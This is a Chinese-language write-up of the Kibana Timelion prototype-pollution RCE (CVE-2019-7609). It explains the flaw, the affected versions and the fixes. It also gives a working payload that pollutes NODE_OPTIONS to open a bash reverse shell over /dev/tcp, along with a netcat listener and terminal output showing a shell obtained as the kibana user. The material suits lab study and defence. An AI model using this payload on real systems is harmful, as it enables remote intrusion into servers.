Kibana-CVE-2019-7609

1.漏洞简介

CVE-2019-7609 漏洞详解

CVE-2019-7609 是 Kibana 中的一个严重远程代码执行(RCE)漏洞,也称为 Kibana 原型污染漏洞。该漏洞允许攻击者通过 Kibana 的 Timelion 组件,利用 JavaScript 原型链污染技术,在目标服务器上执行任意命令。以下是该漏洞的详细解析,包括漏洞原理、利用条件、影响版本及复现步骤。


1. 漏洞背景

Kibana 是 Elasticsearch 的开源数据可视化工具,广泛用于日志分析和数据展示。Timelion 是 Kibana 中的一个时间序列数据可视化组件。该漏洞的核心问题在于 Timelion 组件对用户输入的 JavaScript 代码处理不当,导致攻击者可以通过原型链污染技术实现远程代码执行。


2. 漏洞原理

漏洞的核心在于 JavaScript 原型链污染

  1. 原型链污染

    • JavaScript 中的每个对象都有一个原型(__proto__),原型对象又可以有自己的原型,形成原型链。
    • 如果程序未对原型链的读写进行严格限制,攻击者可以通过修改原型链上的属性,影响全局对象的行为。
  2. 漏洞触发点

    • Kibana 的 Timelion 组件允许用户输入 JavaScript 表达式,但未对输入进行严格验证。
    • 攻击者可以通过构造恶意表达式,污染全局对象的原型链,进而修改环境变量(如 NODE_OPTIONS),影响 Node.js 进程的行为。
  3. 远程代码执行

    • 通过污染 NODE_OPTIONS 环境变量,攻击者可以指定 Node.js 在执行时加载恶意模块,从而执行任意命令。
    • 例如,攻击者可以通过 require("child_process").exec() 执行系统命令,实现反弹 Shell 或其他恶意操作。

3. 影响版本

  • 受影响版本
    • Kibana < 5.6.15
    • Kibana < 6.6.1。
  • 修复版本
    • Kibana 5.6.15 及以上版本
    • Kibana 6.6.1 及以上版本。

4. 漏洞利用条件

  1. 目标系统

    • 运行受影响版本的 Kibana。
    • Kibana 的 Timelion 组件已启用(默认启用)。
  2. 攻击者权限

    • 攻击者需要能够访问 Kibana 的 Timelion 页面(通常需要登录权限,但在某些配置下可能未授权访问)。
  3. 网络访问

    • 攻击者能够访问目标 Kibana 服务的端口(默认 5601)。

5. 漏洞复现

以下是漏洞复现的简要步骤:

环境搭建
  1. 下载并安装受影响版本的 Kibana(如 6.5.4)和 Elasticsearch(如 6.5.4)。

  2. 启动 Elasticsearch 和 Kibana:

    1
    2
    ./bin/elasticsearch
    ./bin/kibana
  3. 确保 Kibana 的 Timelion 组件可用。

漏洞利用
  1. 构造 Payload

    • 在 Timelion 输入框中输入以下 Payload(替换 攻击机IP端口):

      1
      2
      .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/攻击机IP/端口 0>&1");process.exit()//')
      .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
  2. 执行 Payload

    • 点击“Run”按钮执行 Payload。

    • 在攻击机上监听指定端口:

      1
      nc -lvp 端口
  3. 获取反弹 Shell

    • 如果漏洞利用成功,攻击机将收到目标服务器的反弹 Shell。

6. 修复建议

  1. 升级版本
    • 升级到 Kibana 5.6.15 或 6.6.1 及以上版本。
  2. 禁用 Timelion
    • 如果不需要 Timelion 功能,可以禁用该组件。
  3. 访问控制
    • 限制 Kibana 的访问权限,避免暴露在公网。
    • 启用身份验证和授权机制,防止未授权访问。
  4. 监控和审计
    • 定期监控 Kibana 日志,检测异常访问行为。

7. 总结

CVE-2019-7609 是一个高危的远程代码执行漏洞,影响范围广泛,利用条件简单。建议用户尽快升级版本并采取安全加固措施,以避免潜在的安全风险。通过禁用不必要的功能、限制访问权限和实施安全策略,可以有效降低漏洞被利用的风险。

2.POC

  • payloads
1
2
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/bash -i >& /dev/tcp/192.168.100.129/10086 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
  • 进入timelion模块,写入payload执行。
  • 如果不成功多尝试几次。

image-20250303234148795

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~]
└─$ nc -lvnp 10086
listening on [any] 10086 ...
connect to [192.168.100.129] from (UNKNOWN) [192.168.100.137] 48666
bash: no job control in this shell
bash-4.2$ whoami
whoami
kibana